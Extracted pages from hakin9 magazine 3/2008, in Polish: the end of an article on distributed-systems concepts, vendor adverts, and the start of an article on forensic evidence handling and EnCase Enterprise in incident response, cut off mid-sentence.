Toolkit, będący implementacją po-
wyższych standardów, sam uważa-
ny jest za de facto za standard.
Wrażenie jednolitości syste-
mu można uzyskać poprzez zasto-
sowanie architektury warstwowej
w odniesieniu do oprogramowania.
System taki bazuje na lokalnych
systemach operacyjnych i nadbu-
dowuje warstwę pośrednią (ang.
middleware), dostarczającą ujed-
noliconego interfejsu dostępu do
usług dla aplikacji rozproszonych.
Systemy rozproszone są tworzone
ze względu na swoje istotne poten-
cjalne zalety. Efektywne zagospo-
darowanie tych zalet może spra-
wić, że będą one bardziej atrakcyj-
ne dla użytkownika końcowego niż
systemy scentralizowane. Systemy
rozproszone powstają po to, by uła-
twić użytkownikom dostęp do zdal-
nych zasobów, ukrywając fakt ich
rozproszenia i umożliwiając współ-
dzielenie. Współdzielony dostęp do
zasobów jest uzasadniony głównie
ekonomicznie: wiele zasobów jest
Rysunek 2.
Schemat systemu CCA
��������
���������
���������
���������
��������
���������
���������������
���������
��������
���������
���������
���������
��������
���������
���������
���������
��������
���������
���������������
���������
��������
���������
���������
���������
Jak funkcjonują systemy rozproszone?
hakin9 Nr 3/2008
www.hakin9.org
49
drogich – zarówno w zakupie, jak
i w późniejszym utrzymaniu. Korzy-
stanie ze wspólnych zasobów da-
je też możliwość szybkiej wymiany
informacji pomiędzy samymi użyt-
kownikami. Łatwy dostęp do za-
sobów nie powinien jednak ozna-
czać rezygnacji z zapewniania bez-
pieczeństwa realizowanych opera-
cji. Dotyczy to zarówno poufności,
spójności przesyłanych danych,
jak i niezaprzeczalności. Proble-
my bezpieczeństwa ujawniają się
również w kontekście samej komu-
nikacji. Monitorowanie aktywności
użytkowników i budowanie profili
zachowań również może naruszać
naszą prywatność. Rozprosze-
nie zasobów i procesów na fizycz-
nie rozłącznych maszynach może
być maskowane tak, aby system
był postrzegany jako jedna spój-
na całość. Mówimy o takim syste-
mie, że jest transparentny. Przezro-
czystość może być jednak postrze-
gana na różnych poziomach, a po-
ziomy te mogą być mniej lub bar-
dziej istotne dla użytkownika koń-
cowego. W dalszej części artykułu
przedstawiono podstawowe pozio-
my przezroczystości rozpatrywane
w systemach rozproszonych.
Kolejna cecha systemów roz-
proszonych to łatwość ich rozsze-
rzania, co w konsekwencji powin-
no prowadzić do zapewnienia ska-
lowalności systemu. Łatwość ta
jest efektem niezależności kompu-
terów, przy jednoczesnym ukrywa-
niu szczegółów dotyczących funk-
cji pełnionych przez poszczególne
komputery w systemie. Ze wzglę-
du na powielanie pewnych funkcji
przez wiele komputerów, system
rozproszony może sprawiać wra-
żenie nieustannej dostępności je-
go zasobów i usług. Dzieje się tak
pomimo przejściowych awarii po-
szczególnych jego komponentów,
które są jednak maskowane przeję-
ciem obsługi przez inne komputery.
Podobnie dodanie nowych kompu-
terów i/lub użytkowników pozostaje
niezauważone przez dotychczaso-
wych użytkowników.
Przezroczystość dostępu ozna-
cza ujednolicenie metod dostę-
pu do danych i ukrywanie różnic
w reprezentacji danych. Użytkow-
nik korzysta cały czas z tego sa-
mego interfejsu dostępu do da-
nych. Różnice w reprezentacji
danych mogą wynikać z zastoso-
wania różnych architektur kompu-
terowych. Przykładem jest repre-
zentacja liczb – procesory Inte-
la stosują tzw. kodowanie little en-
dian a np. procesory Sun SPARC
stosują kodowanie big endian. Róż-
nica polega na kolejności ułożenia
poszczególnych bajtów liczby w pa-
mięci. Innym przykładem różnic
w reprezentacji danych są odmien-
ne konwencje nazewnictwa plików
stosowane w poszczególnych sys-
temach operacyjnych.
Przezroczystość
położenia
oznacza, że użytkownicy nie mogą
określić fizycznego położenia za-
sobu (np. na podstawie jego nazwy
czy identyfikatora). Warunkiem ko-
niecznym osiągnięcia przezroczy-
stości położenia jest stosowanie
nazewnictwa zasobów, które abs-
trahuje od ich położenia. Z tego
między innymi powodu adresy do-
kumentów w usłudze WWW zaczę-
to określać nie jako adresy URL
(ang. Universal Resource Locator
– uniwersalny lokalizator zasobów),
a raczej jako adresy URI (ang. Uni-
versal Resource Identifier – uni-
wersalny identyfikator zasobów).
Zaakcentowano w ten sposób bar-
dziej ogólny sposób interpreta-
cji elementów składowych adresu.
Np. adres: http://www.put.poznan.pl/
rekrutacja/rekrutacja.html może być
interpretowany jako wskazanie na
dokument znajdujący się na serwe-
rze www.put.poznan.pl (URL) lub
po prostu całościowo jako identy-
fikator dokumentu (URI).
Przezroczystość wędrówki oznacza,
że zasoby mogą być przenoszone
pomiędzy serwerami bez potrzeby
zmiany sposobu odwoływania się
do nich. Uzyskanie przezroczystości
wędrówki zakłada oczywiście prze-
zroczystość położenia, gdyż w prze-
ciwnym wypadku po dokonaniu prze-
niesienia zasobu jego stary identyfi-
kator stawałby się nieaktualny.
Przezroczystość przemieszcza-
nia oznacza, że zasoby mogą być
przenoszone nawet wtedy, gdy są
używane przez użytkowników i nie
wymaga to informowania użytkow-
ników o zmianie położenia. Z ta-
ką sytuacją mamy do czynienia np.
w przypadku sieci komórkowych,
gdzie użytkownicy pomimo fizycz-
nego przemieszczania się mogą
prowadzić stale rozmowę (jest to
tzw. roaming).
W systemach rozproszonych
zwielokrotnianie (replikacja) jest
jednym z podstawowych mecha-
nizmów pozwalających na zwięk-
szenie wydajności i niezawodno-
ści. Stosowanie zwielokrotniania
może skutkować jednak znaczny-
mi utrudnieniami dla użytkowników
końcowych, wynikającymi m. in.
z niespójności współbieżnie mody-
fikowanych kopii.
Przezroczystość zwielokrotnia-
nia oznacza, że pomimo zwielokrot-
niania zasobów użytkownicy nie
zauważają tego faktu – korzysta-
ją z zasobów dokładnie w taki sam
sposób, jak w systemie nie stosu-
jącym zwielokrotniania. W praktyce
oznacza to, że przezroczystość
zwielokrotniania można uzyskać
w systemach gwarantujących prze-
zroczystość położenia, ponieważ
dostęp do każdej z kopii zasobu
powinien być realizowany z wyko-
rzystaniem tego samego identyfi-
katora.
System rozproszony umożliwia
współdzielenie zasobów. Współ-
dzielenie takie może być realizowa-
ne w sposób kooperatywny – jak to
ma miejsce np. w przypadku komu-
nikacji – lub w sposób rywalizacyj-
W Sieci
• http://wazniak.mimuw.edu.pl – bardzo polecam ten odnośnik,
• http://wikipedia.pl – ten odnośnik także powinien znać każdy.
hakin9 Nr 3/2008
www.hakin9.org
Obrona
50
ny, kiedy wielu użytkowników jed-
nocześnie ubiega się o dostęp do
tego samego zasobu.
Przezroczystość
współbieżności
gwarantuje, że współbieżne odwo-
ływanie się do tego samego zasobu
realizowane przez wielu użytkowni-
ków nie będzie prowadziło do po-
wstania w systemie stanu niespój-
nego. Stan spójny można osiągnąć
poprzez blokowanie dostępu do
wspólnych danych (gwarantujące
wyłączny dostęp) lub poprzez za-
stosowanie mechanizmu przetwa-
rzania transakcyjnego, które jednak
jest trudne do zrealizowania w sys-
temie rozproszonym.
System jako całość powinien
działać nawet w przypadku awa-
rii pojedynczych jego komponen-
tów. Przezroczystość awarii ozna-
cza, że użytkownik nie zauważa
faktu uszkodzenia pojedynczych
węzłów. Wadliwy komponent po-
winien zostać zastąpiony popraw-
nym, a cała operacja nie powin-
na wpływać na sposób korzystania
z systemu. Maskowanie awarii jest
zadaniem trudnym, a przy przyjęciu
pewnych założeń – nawet niemoż-
liwym. Główna trudność polega
na odróżnieniu awarii zdalnego wę-
zła od awarii łączy komunikacyj-
nych. Przezroczystość trwałości
ukrywa mechanizmy zarządzania
zdalnymi zasobami. Przykładem
mogą tu być zdalne obiekty, na
rzecz których użytkownicy wywołu-
ją metody. Obiekt powinien trwale
przechować swój stan po zdalnym
wywołaniu jego metody. Z drugiej
strony odwołanie do tego obiektu
powinno być możliwe nawet wte-
dy, gdy nie jest przechowywany ak-
tualnie w pamięci. Oczekuje się, że
systemy rozproszone będą ukry-
wać przed użytkownikiem szczegó-
ły swojej wewnętrznej organizacji,
jednakże osiągnięcie wysokiego
poziomu przezroczystości wią-
że się z dużymi kosztami, głów-
nie związanymi z ogólną wydajno-
ścią systemu. W praktyce dąży się
do osiągnięcia racjonalnego kom-
promisu pomiędzy obserwowa-
ną przez użytkownika złożonością
systemu, a efektywnością jego pra-
cy. Systemy rozproszone, aby mo-
gły być rozbudowywane, muszą
być otwarte. Oznacza to koniecz-
ność standaryzacji stosowanych
protokołów i interfejsów komunika-
cyjnych. Definicje interfejsów obej-
mują najczęściej opis składni usług
(nazwy funkcji, typy parametrów
i zwracanych wyników). Semantyka
usług opisywana jest najczęściej
w sposób nieformalny, przy wyko-
rzystaniu języka naturalnego.
Specyfikacja interfejsu, aby mo-
gła być implementowana niezależnie
przez wielu dostawców oprogramo-
wania, musi być zupełna (kompletna)
i neutralna. Kompletność oznacza,
że opis jest wystarczający do stwo-
rzenia implementacji. Neutralność
oznacza, że specyfikacja nie narzu-
ca żadnych szczegółów dotyczą-
cych implementacji. Spełnienie tych
warunków jest konieczne dla osią-
gnięcia zdolności do współdziałania
(ang. interoperability), która oznacza
możliwość współpracy ze sobą kom-
ponentów programowych pochodzą-
cych od różnych dostawców, o ile im-
plementują one odpowiednie interfej-
sy programowe.
Przenośność (ang. portabili-
ty) oznacza możliwość uruchomie-
nia aplikacji stworzonej dla jedne-
go systemu w innym systemie bez
konieczności wprowadzania jakich-
kolwiek modyfikacji. Dobrze zapro-
jektowany system otwarty powinien
być elastyczny, co w praktyce ozna-
cza łatwość budowy i przebudowy
systemu składającego się z kom-
ponentów pochodzących od róż-
nych dostawców. Osiągnięcie wy-
sokiej elastyczności jest możliwe
poprzez podział systemu rozpro-
szonego na wysoce autonomiczne
komponenty komunikujące się po-
przez precyzyjnie opisane interfej-
sy. Daje to możliwość wymiany po-
szczególnych komponentów bez
konieczności wyłączania całego
systemu. Otwartość i elastyczność
systemów rozproszonych może być
wspierana poprzez oddzielenie
polityki od mechanizmu. Polityka
określa w sposób deklaratywny ce-
le, które chce osiągnąć użytkow-
nik, a mechanizm dostarcza na-
rzędzi do osiągania tych celów.
Przykładem może być stosowanie
pamięci podręcznych w przeglą-
darkach internetowych. Jest to me-
chanizm zwiększający dostępność
zasobów w usłudze WWW. Waż-
ne jednakże są tu parametry wej-
ściowe sterujące pracą tej pamięci
(czas przechowywania dokumen-
tów, strategia aktualizacji, wybór
dokumentów). Parametry te okre-
ślają właśnie politykę, jaką chce
narzucić użytkownik i która może
być potencjalnie realizowana z wy-
korzystaniem innego mechanizmu.
Rozwój sieci komputerowych
i liczba komputerów przyłączanych
do Internetu wzrastają tak szybko,
że jednym z najważniejszych ce-
lów projektowych staje się obec-
nie zapewnienie skalowalności.
Skalowalność może być rozważa-
na w trzech różnych wymiarach.
Po pierwsze – skalowalność pod
względem rozmiaru, oznaczająca
możliwość dodawania do systemu
nowych użytkowników i zasobów.
Po drugie – skalowalność geogra-
ficzna, umożliwiająca rozrzucenie
poszczególnych użytkowników po
całym świecie. Po trzecie wreszcie
– skalowalność pod względem ad-
ministracyjnym oznacza, że zarzą-
dzanie systemem pozostaje równie
proste pomimo zwiększania jego
rozmiaru i dystrybucji odpowiedzial-
ności na wiele jednostek administra-
cyjnych. Skalowalność pod wzglę-
dem rozmiaru może być ograni-
czona poprzez stosowanie rozwią-
zań scentralizowanych. Każdy ser-
wer, który jest jedynym pełniącym
określoną funkcję, staje się wąskim
gardłem w warunkach wzrastającej
liczby żądań. Stosowanie przetwa-
rzania scentralizowanego staje się
niekiedy jednak nieuniknione. Przy-
kładem może być przechowywanie
poufnych danych, których powiele-
nie powodowałoby zwiększenie ry-
zyka ich ujawnienia (centralizacja
danych). Z centralizacją usług ma-
my do czynienia wtedy, gdy prze-
twarzanie zleceń jest realizowane
przez pojedynczy serwer. Dobrym
przykładem usługi, która jest dosko-
nale zdecentralizowana, jest usługa
hakin9 Nr 3/2008
51
DNS (ang. Domain Name Service), zajmująca się
m. in. odwzorowaniami nazw domenowych na ad-
resy IP. W usłudze tej grupa rozproszonych serwe-
rów realizuje wspólnie wspomnianą funkcję. Roz-
proszenie przetwarzania jest tu koniecznością, po-
nieważ liczba żądań przychodzących do systemu
jest tak duża, że żaden serwer nie byłby w stanie
jej obsłużyć.
Wysoką skalowalność systemów można osią-
gnąć poprzez zastosowanie algorytmów zdecen-
tralizowanych. Charakteryzują się one następują-
cymi własnościami:
• żadna z maszyn nie posiada pełnej informacji
o stanie systemu,
• decyzje podejmowane są tylko na podstawie in-
formacji lokalnych,
• uszkodzenie pojedynczych maszyn nie powo-
duje blokady całego systemu,
• nie ma niejawnych założeń dotyczących glo-
balnego zegara.
Ostatnie założenie jest konsekwencją ogólnie
przyjętej charakterystyki systemów rozproszo-
nych, w których komunikacja ma charakter asyn-
chroniczny. Oznacza to, że komunikaty docierają
do odbiorcy w czasie skończonym, ale bliżej nie-
określonym. Konsekwencją tego założenia jest
niemożliwość dokładnego zsynchronizowania lo-
kalnych zegarów komputerów pracujących w sie-
ci (przede wszystkim w sieci rozległej).
Skalowalność geograficzna jest ograniczana
głównie przez dostępne mechanizmy komunikacyj-
ne, które wprowadzają znaczne opóźnienia i charak-
teryzują się wysoką zawodnością. Opóźnienia po-
wodują, że akceptowalne w sieciach lokalnych prze-
twarzanie synchroniczne staje się nieakceptowalne
w sieciach rozległych, gdyż wprowadza zbyt duże
przestoje.
Ponieważ skalowalność jest tak wysoce pożąda-
ną cechą systemów rozproszonych, bardzo ważnym
staje się pytanie o ogólne metody zapewniania wy-
sokiej skalowalności. Generalnie istnieją trzy meto-
dy zwiększania skalowalności: ukrywanie opóźnień
komunikacyjnych, rozpraszanie i zwielokrotnianie.
Ukrywanie opóźnień komunikacyjnych oznacza
w praktyce stosowanie na szeroką skalę komunika-
cji asynchronicznej, w której zlecający operację nie
czeka na jej wynik, a wykonuje dalsze przetwarzanie
niewymagające wyniku ostatniej operacji. Efekt taki
można uzyskać stosując przetwarzanie współbież-
ne po stronie klienta, w którym oczekiwanie na wy-
nik będzie blokowało oddzielny wątek przetwarza-
nia. Niestety, komunikację asynchroniczną można
stosować jedynie w systemach nieinteraktywnych.
W systemach interaktywnych można próbować re-
dukować ilość przesyłanych informacji poprzez
hakin9 Nr 3/2008
www.hakin9.org
Obrona
52
przeniesienie części przetwarzania
do klienta, np. w celu lepszej wery-
fikacji danych wejściowych. Można
w tym celu wykorzystać np. dyna-
miczne przesyłanie kodu weryfiku-
jącego z serwera (aplety Javy).
Rozpraszanie (ang. distribution)
polega na podziale zadań kompo-
nentu programowego na wiele jed-
nostek i rozproszenie tych jedno-
stek w sieci. Przykładem może być
system DNS, w którym nie wystę-
puje pojedynczy serwer przecho-
wujący całość informacji o konfi-
guracji odwzorowań nazw na ad-
resy. Informacja ta jest rozproszo-
na pomiędzy wszystkie serwery
nazw, które odpowiadają za obsłu-
gę pojedynczych domen nazewni-
czych. Translację wybranej nazwy
dokonuje serwer nazw dla domeny,
z której pochodzi testowana na-
zwa.
Zwielokrotnianie (ang. repli-
cation) daje możliwość nie tylko
zwiększenia dostępności zasobów,
ale także równoważenia obciąże-
nia. W efekcie systemy stosujące
replikację (potencjalnie) charakte-
ryzują się większą wydajnością. Co
więcej, zwielokrotniony serwer mo-
że być zastąpiony innym w przy-
padku awarii. Jeżeli zwielokrotnio-
ne serwery są dodatkowo rozpro-
szone, to średnia odległość do naj-
bliższego serwera ulega skróceniu,
co skutkuje dodatkowo możliwo-
ścią maskowania opóźnień komu-
nikacyjnych.
Pewną formę zwielokrotnia-
nia stanowi stosowanie pamię-
ci podręcznych (ang. cache), któ-
rych zawartość jest również ko-
pią oryginalnych danych. O ile
jednak przy zwielokrotnianiu de-
cyzję o utworzeniu kopii podej-
muje właściciel zasobu, o tyle
w przypadku przechowywania pod-
ręcznego decyzję taką podejmu-
je sam klient. Tworzenie kopii za-
sobów powoduje jednak powsta-
wanie problemu spójności danych,
jeżeli jedna z kopii zostanie zmo-
dyfikowana. Częste modyfikacje
i ich propagacje do pozostałych
serwerów
mogą
spowodować
znaczne ograniczenie skalowalno-
ści systemu stosującego replikację.
Z drugiej strony, użytkownicy mogą
odwoływać się do danych, które nie
są już aktualne, co nie zawsze bę-
dzie akceptowalne (np. w przypad-
ku operacji bankowych). Użytkow-
nicy mogą formułować swoje ocze-
kiwania co do spójności zwielokrot-
nianych danych poprzez tzw. mo-
dele spójności opisujące gwaran-
cje, których udziela system. Doty-
czą one propagacji zmian do pozo-
stałych kopii oraz uporządkowania
operacji realizowanych współbież-
nie na wielu serwerach. Globalne
porządkowanie operacji może jed-
nak wymagać stosowania scentra-
lizowanego przetwarzania, co oczy-
wiście jest rozwiązaniem nieska-
lowalnym. Nie zawsze więc zwie-
lokrotnianie jest właściwą metodą
na zwiększanie skalowalności sys-
temu.
Systemy rozproszone budowa-
ne są z pojedynczych komputerów
połączonych siecią. Z punktu wi-
dzenia programisty nie jest obojęt-
ne, jaka jest budowa pojedynczych
maszyn w systemie rozproszonym,
gdyż rzutuje to na sposób progra-
mowania takich systemów. Gene-
ralnie można wyróżnić dwie klasy
systemów komputerowych: wielo-
procesory i multikomputery. Zasad-
nicza różnica polega na innej orga-
nizacji dostępu do pamięci. W wie-
loprocesorach wszystkie procesory
mają dostęp do jednej, wspólnej
przestrzeni adresowej. W multikom-
puterach każda jednostka ma swoją
lokalną pamięć.
Drugim ważnym parametrem
wyznaczającym charakter syste-
mu rozproszonego jest architek-
tura połączeń pomiędzy poszcze-
gólnymi węzłami. Połączenia mo-
gą być realizowane poprzez central-
ną szynę lub w technologii przełą-
czanej. Połączenia szynowe w wie-
loprocesorach ułatwiają zarządza-
nie spójnością danych, ale z drugiej
strony bardzo ograniczają skalowal-
ność; szyna przy niedużej liczbie
procesorów staje się wąskim gar-
dłem. Często stosowanym rozwią-
zaniem w takim przypadku jest za-
stosowanie pamięci podręcznych.
Algorytmy wymiany zawartości pa-
mięci podręcznej pozwalają na uzy-
skiwanie wysokich współczynników
trafień (ang. hit rate), co pozwala
na znaczne ograniczenie częstotli-
wości odwołań do głównej szyny.
Z drugiej jednak strony stosowanie
pamięci podręcznej powoduje po-
wstawanie problemu spójności kopii
tych samych danych przechowywa-
nych na różnych węzłach.
Podsumowanie
Wieloprocesory budowane są po-
przez połączenie wielu autonomicz-
nych komputerów siecią. Jeżeli wyko-
rzystywane są komputery o tej samej
architekturze, to mamy do czynienia
z siecią systemową. Połączenia mo-
gą być również realizowane w archi-
tekturze szynowej lub przełączanej.
W przypadku architektury przełącza-
nej stosuje się wyznaczanie tras (tra-
sowanie) komunikatów przez sieć po-
łączeń. Dwie najpopularniejsze topo-
logie połączeń pomiędzy węzłami to
siatki (kraty) i hiperkostki. Kraty, po-
nieważ są dwuwymiarowe, są łatwiej-
sze do implementacji na płaskiej płyt-
ce obwodu drukowanego. Hiperkost-
ka jest sześcianem n-wymiarowym.
Praktyczne realizacje koncepcji mul-
tikomputera korzystają bądź ze spe-
cjalizowanej (często opatentowanej)
sieci połączeń bądź ze standardo-
wych rozwiązań stosowanych w sie-
ciach komputerowych (np. technolo-
gia Ethernet). Pierwsze podejście,
oczywiście dużo droższe, stosowa-
ne jest w komputerach o masywnej
równoległości. Multikomputery ba-
zujące na standardowych technolo-
giach zwane są z kolei gronami, gru-
pami stacji roboczych lub po prostu
klastrami. l
O autorze
Student informatyki który interesuje się logiką rozmytą.
Kontakt z autorem: spinacz24@gmailcom
CCNS
Działalność firmy skoncentrowana jest
wokół hasła zapewnienia pełnego bez-
pieczeństwa funkcjonowania Klienta
w realiach współczesnej gospodarki.
Jako Expert Partner firmy WatchGuard
Inc. oferujemy kompleksowe rozwiąza-
nia bezpieczeństwa sieci i systemów
informatycznych obejmujące nowo-
czesne urządzenia typu Unified Thre-
at Management, niezawodny serwis
i szeroki wachlarz szkoleń.
Prenumerata Pro
Media
Systems
Firma Media Systems oferuje Państwu
profesjonalny system CashBill.pl,
umożliwiający zarządzanie usługami
SMS Premium Rate w sektorze B2B
i B2C. Oferujemy również szeroki
wachlarz usług mikropłatniczych,
płatności elektronicznych oraz indywi-
dualne, dedykowane rozwiązania przy
budowie aplikacji mobilnych.
TTS Company Sp. z o.o.
Oprogramowanie komputerowe - sprze-
daż, dystrybucja oraz import na zamó-
wienie. W ofercie programy autorstwa
ponad stu firm z całego świata. Zapra-
szamy do współpracy - zostań naszym
klientem lub dostawcą.
Zepter IT
Zepter IT to dynamicznie rozwijają-
ca się firma, specjalizująca się w re-
alizacji projektów informatycznych.
Oferujemy rozwiązania dla biznesu
i zarządzania takie jak systemy ERP
czyli zarządzanie zasobami firmy, pod-
noszenie jakości i obniżanie kosztów.
Zepter IT świadczy również usługi in-
ternetowe - serwisy www, e-commer-
ce, tworzenie aplikacji internetowych
oraz systemów zarządzania treścią.
Petrosoft
Partner Microsoft Bussiness Solutions
Dynamics GP. Budowa sklepów inter-
netowych, serwisów WWW, prezentacji
multimedialnych. Budowa sieci LAN,
WAN, telekomunikacyjnych. Telefonia
stacjonarna, VoiceIP. Usługi outsor-
cingowe dla dużych firm z zakresu
informatyki i telekomunikacji. Opro-
gramowanie na zamówienia. Dostawa
serwerów, sprzętu, oprogramowania.
www.OprogramowanieKomputerowe.pl
www.ccns.pl
38-200 Jasło, ul. 3 Maja 101
Biuro: (13) 44 66 666
biuro@petrosoft.pl
www.zepterit.com
kontakt do nas:
katarzyna.juszczynska@software.com.pl
robert.gontarski@software.com.pl
tel. : 22 427 36 77
Enigma SOI
Głównym przedmiotem działalności fir-
my jest produkcja, wdrażanie i sprze-
daż systemów służących do ochrony
informacji.
• elektroniczna skrzynka podawcza
• centra certyfikacji kluczy
• podpis elektroniczny i szyfrowanie
na serwerach i stacjach klienckich
• zabezpieczanie stacji lokalnych
• karty elektroniczne i czytniki
www.enigma.com.pl
Kei.pl
Kei.pl działa na rynku usług hostin-
gowych od 2000 roku. Do naszych
zadowolonych Klientów z dumą
możemy zaliczyć wiele przedsiębiorstw
sektora MSP, instytucji oraz osób pry-
watnych. W ofercie Kei.pl znajdują się
pakiety hostingowe, a także usługi dla
wymagających Użytkowników – platfor-
my e-Biznes oraz serwery fizyczne.
http://www.kei.pl
www.hakin9.org
hakin9 Nr 3/2008
54
Obrona
S
ytuacja jeszcze bardziej się kompli-
kuje, gdy niezbędnym elementem po-
stępowania jest zachowanie go w ta-
jemnicy, a zgromadzony materiał dowodowy
ma być przekonujący. Wprowadzenie do or-
ganizacji polityki bezpieczeństwa w zgodzie
z PN-ISO/IEC 27001:2007 określa, jakie pro-
cedury i działania powinny być wdrożone w
zakresie zapewnienia, że zdarzenia związa-
ne z bezpieczeństwem informacji oraz sła-
bościami systemów podlegają zarządzaniu
(patrz Ramka Zarządzanie incydentami).
Norma wymaga, aby proces zarządza-
nia incydentami był reaktywny. Aby reagować
sprawnie i skutecznie, narzuca formalne meto-
dy pracy, które mogą i powinny być wsparte na-
rzędziami informatycznymi.
W przypadku wystąpienia incydentu np.
gromadzenia przez pracownika danych oso-
bowych lub odnalezienia szkodliwej aplika-
cji, opanowanie zdarzenia powinno zmierzać
w kierunku powstrzymania działań, pozna-
nia ich podłoża i wyeliminowania możliwości
ich zajścia w przyszłości. W tradycyjnym po-
dejściu, podejrzany komputer na ogół zosta-
je wyizolowany i poddany analizie. Metoda ta
rzadko zakłada jednak, że zgromadzone z in-
cydentu dane powinny być zgodne z zasada-
mi materiału dowodowego.
Odrobina prawa
Według najprostszej definicji dowód elektro-
niczny jest informacją w formie elektronicz-
nej, mogącą mieć znaczenie dowodowe. Istnie-
je on sam w sobie w postaci informacji zapisa-
nej na nośniku (jest jego właściwością). Sam
nośnik nie jest dowodem. Cechy dowodu elek-
tronicznego:
• łatwość modyfikacji,
• wymagają szczególnych środków technicz-
nych do ich zabezpieczania,
Informatyka śledcza
jako element reakcji na
incydenty
Przemysław Krejza
stopień trudności
Zarządzanie incydentem (incident response – IR) jest jedną
z trudniejszych problematyk związanych z bezpieczeństwem
informacji, szczególnie w dużych organizacjach. Zapanowanie
nad problemem jest często skomplikowane, czasochłonne i tym
trudniejsze, im większe są rozmiary incydentu. Występują również
problemy z określeniem jego skali.
Z artykułu dowiesz się
• co to jest EnCase Enterprise,
• co to jest informatyka śledcza,
• co to jest dowód elektroniczny.
Co powinieneś wiedzieć
• powinieneś znać podstawy zasad bezpieczeń-
stwa informacji.
Informatyka śledcza
hakin9 Nr 3/2008
www.hakin9.org
55
• poszlakowy charakter,
• równość kopii i oryginału.
Na gruncie prawa polskiego dowód
elektroniczny nie posiada szczegól-
nego wyróżnienia, jednak – wbrew
powszechnym poglądom – zarówno
w prawie karnym, jak i cywilnym oraz
administracyjnym jest pełnoprawny
i jest z powodzeniem stosowany w
postępowaniu. Dowód elektroniczny
a prawo polskie:
• w postępowaniu karnym trak-
towany jest tak, jak każdy inny
dowód rzeczowy (rozdział 25
KPK),
• w prawie cywilnym obowiązu-
je swobodna ocena dowodów,
ale może być dowodem z doku-
mentu, opinii biegłego lub innym
środkiem dowodowym,
• w postępowaniu administracyj-
nym jest dopuszczony przez art.
75 K.P.A.
Każde zdarzenie bowiem, mimo
początkowego braku znamion, mo-
że znaleźć swój finał w sądzie. Po-
nieważ w większości przypadków
incydent związany jest z informacją
cyfrową, musi ona posiadać szcze-
gólne cechy, aby miała wartość do-
wodową. Powszechne przekona-
nie, że w Polsce nie ma to znacze-
nia, jest błędne (patrz Ramka Za-
rządzanie incydentami), gdyż rów-
nież u nas dowód elektroniczny
pełnoprawny jest respektowany
przez Sąd.
Właściwe praktyki IR muszą za-
kładać stosowanie narzędzi odpo-
wiednich z tego punktu widzenia. W
nowoczesnych organizacjach miej-
sce tradycyjnego podejścia zajmuje
Informatyka Śledcza, oferująca pro-
cedury i narzędzia spełniające rów-
nież założenia dowodowe. Podsta-
wowym elementem jest tu powoła-
nie odpowiednio umocowanej gru-
py CSIRT (Computer Security Inci-
dent Response Team) i wyposaże-
nie jej w odpowiednie narzędzia – od
pojedynczych stanowisk analitycz-
nych aż po rozległe platformy, obej-
mujące swoim zasięgiem dowolnych
rozmiarów środowisko komputero-
we, umożliwiające prowadzenie ana-
liz w obrębie enterprise oraz tworze-
nie dokumentacji z wydzieleniem au-
tentycznego materiału dowodowego,
w celu wypełnienia zaleceń A.13.2
Normy (patrz Ramka Zarządzanie
incydentami).
Zasady związane z
dowodem elektronicznym
Autentyfikacja. Aby dowód elek-
troniczny został dopuszczony, mu-
si być – podobnie, jak inne dowo-
dy rzeczowe – autentyczny, wier-
ny, kompletny i przystępny. Auten-
tyczność i wierność oznacza ko-
nieczność obrony dowodu przed
zarzutem manipulacji, a więc wy-
kazania, że pochodzi z określone-
go miejsca i czasu. Kompletność
oznacza, że dopiero suma ele-
mentów (logi, pliki, polityki) może
być dowodem. Przystępność to ko-
nieczność przedstawienia dowodu
w formie czytelnej dla odbiorcy.
Kluczowym elementem auten-
tyfikacji jest właściwe zabezpiecze-
nie, które wiąże się z powstaniem
tzw. łańcucha dowodowego, będą-
cego nieodłącznym elementem każ-
dego kroku śledztwa. Najważniej-
szym elementem zabezpieczania
jest uwierzytelnienie materiału, naj-
lepiej z wykorzystaniem sum kontro-
lnych odnotowanych w protokole za-
bezpieczania.
Łańcuch dowodowy determinu-
je wartość dowodu i bezpośrednio
wpływa na jego siłę w prezentacji.
Łańcuch dowodowy, który można
podważyć, pozwoli na obalenie do-
wodu. Najprościej rzecz ujmując, po-
winien on – poprzez dokumentację
materialną – gwarantować przejrzy-
stość zabezpieczenia, badania i pre-
zentacji dowodu tak, aby zawsze ist-
niała pewność, iż dowód, ze względu
na swoje cechy, nie został w jakikol-
Rysunek 1.
Analiza incydentu – nieautoryzowane przechowywanie
dokumentów przez pracownika
Zarządzanie incydentami WG PN-ISO/IEC 27001:
2007, załącznik normatywny A
• Zdarzenia (...) powinny być zgłaszane (...) tak szybko jak to możliwe,
• W organizacji powinny istnieć mechanizmy umożliwiające liczenie i monitorowanie
rodzajów, rozmiarów (...) incydentów (...),
• Jeśli działania podejmowane (...) obejmują kroki prawne (...) powinno się groma-
dzić (...) materiał dowodowy zgodnie z zasadami materiału dowodowego (...).
hakin9 Nr 3/2008
www.hakin9.org
Obrona
56
wiek sposób zmieniony. Ważne jest
przy tym, aby łańcuch był maksymal-
nie krótki, tj. aby ilość osób zaanga-
żowanych w postępowanie była jak
najmniejsza, a każda zmiana oso-
by i ewentualnie wykonywana ope-
racja była odnotowana w odpowied-
nim protokole. Łańcuch nie może po-
siadać żadnych luk. Luką może być
np. przesłanie nośnika z dowodem
pocztą lub oprogramowanie użyte
do zabezpieczania nieposiadające
cech wiarygodności, a nawet użyte
bez odpowiedniej licencji.
EnCase Enterprise (EE)
Kluczem do sukcesu dedykowanej
platformy jest architektura systemu
opierająca się zasadniczo o działa-
nie w układzie klient/serwer w opar-
ciu o trzy elementy:
• SERVLET – pasywna usługa
na prawach konta systemowe-
go, pracująca w trybie jądra,
będąca swego rodzaju wtycz-
ką do zdalnego urządzenia. Se-
rvlet przewidziany jest dla więk-
szości systemów operacyjnych.
• SAFE – jest kluczowym elemen-
tem bezpieczeństwa platformy.
Odpowiada za przydział praw w
ramach CSIRT, klucze użytkow-
ników, szyfrowanie transmisji itd.
• EXAMINER – środowisko śled-
cze, oferujące narzędzia anali-
tyczne, środowisko skryptowe
oraz zdalny dostęp do wszyst-
kich stacji, na których funkcjo-
nuje servlet.
Pracując na niskim poziomie, se-
rvlet oferuje absolutny dostęp do
badanego systemu, dając możli-
wość zdalnej analizy za pomocą
examinera wszystkich jego elemen-
tów, począwszy od fizycznej zawar-
tości nośników, poprzez zdalne od-
zyskiwanie danych, aż po wszyst-
kie zasoby systemu – w tym rów-
nież używane w trybie wyłączności
lub ukryte.
Analiza incydentów
Zastosowanie platformy dalekie
jest od tradycyjnego podejścia.
Analiza incydentów w odpowiedzi
na różnego typu alerty (np. nie-
potwierdzone plotki), jak w przy-
kładzie powyżej, wymaga jedynie
znajomości adresu IP podejrza-
